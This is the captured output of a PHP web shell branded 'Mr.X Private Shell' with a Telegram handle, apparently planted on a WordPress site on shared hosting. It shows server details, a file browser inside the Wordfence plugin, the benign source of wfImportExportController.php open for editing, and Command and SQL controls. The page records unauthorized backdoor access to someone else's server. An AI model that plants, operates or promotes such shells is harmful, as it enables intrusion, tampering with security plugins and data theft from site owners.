Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins///wordfence/lib      ( Reset | Go to )
File Name: wfImportExportController.php
Edit
<?php

class wfImportExportController {
    
/**
     * Returns the singleton wfImportExportController.
     *
     * @return wfImportExportController
     */
    
public static function shared() {
        static 
$_shared null;
        if (
$_shared === null) {
            
$_shared = new wfImportExportController();
        }
        return 
$_shared;
    }
    
    public function 
export() {
        
$export = array();
        
        
//Basic Options
        
$keys wfConfig::getExportableOptionsKeys();
        foreach (
$keys as $key) {
            
$export[$key] = wfConfig::get($key'');
        }
        
        
//Serialized Options
        
$export['scanSched'] = wfConfig::get_ser('scanSched', array());
        
        
//Table-based Options
        
$export['blocks'] = wfBlock::exportBlocks();
        
        
//Make the API call
        
try {
            
$api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion());
            
$res $api->call('export_options', array(), array('export' => json_encode($export)));
            if (
$res['ok'] && $res['token']) {
                return array(
                    
'ok' => 1,
                    
'token' => $res['token'],
                );
            }
            else if (
$res['err']) {
                return array(
'err' => __("An error occurred: "'wordfence') . $res['err']);
            }
            else {
                throw new 
Exception(__("Invalid response: "'wordfence') . var_export($restrue));
            }
        }
        catch (
Exception $e) {
            return array(
'err' => __("An error occurred: "'wordfence') . $e->getMessage());
        }
    }
    
    public function 
import($token) {
        try {
            
$api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion());
            
$res $api->call('import_options', array(), array('token' => $token));
            if (
$res['ok'] && $res['export']) {
                
$totalSet 0;
                
$import = @json_decode($res['export'], true);
                if (!
is_array($import)) {
                    return array(
'err' => __("An error occurred: Invalid options format received."'wordfence'));
                }
                
                
//Basic Options
                
$keys wfConfig::getExportableOptionsKeys();
                
$toSet = array();
                foreach (
$keys as $key) {
                    if (isset(
$import[$key])) {
                        
$toSet[$key] = $import[$key];
                    }
                }
                
                if (
count($toSet)) {
                    
$validation wfConfig::validate($toSet);
                    
$skipped = array();
                    if (
$validation !== true) {
                        foreach (
$validation as $error) {
                            
$skipped[$error['option']] = $error['error'];
                            unset(
$toSet[$error['option']]);
                        }
                    }
                    
                    
$totalSet += count($toSet);
                    
wfConfig::save(wfConfig::clean($toSet));
                }
                
                
//Serialized Options
                
if (isset($import['scanSched']) && is_array($import['scanSched'])) {
                    
wfConfig::set_ser('scanSched'$import['scanSched']);
                    
wfScanner::shared()->scheduleScans();
                    
$totalSet++;
                }
                
                
//Table-based Options
                
if (isset($import['blocks']) && is_array($import['blocks'])) {
                    
wfBlock::importBlocks($import['blocks']);
                    
$totalSet += count($import['blocks']);
                }
                
                return array(
                    
'ok' => 1,
                    
'totalSet' => $totalSet,
                );
            }
            else if (
$res['err']) {
                return array(
'err' => sprintf(/* translators: Error message. */ __("An error occurred: %s"'wordfence'), $res['err']));
            }
            else {
                throw new 
Exception(sprintf(/* translators: Error message. */ __("Invalid response: %s"'wordfence'), var_export($restrue)));
            }
        }
        catch (
Exception $e) {
            return array(
'err' => sprintf(/* translators: Error message. */ __("An error occurred: %s"'wordfence'), $e->getMessage()));
        }
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL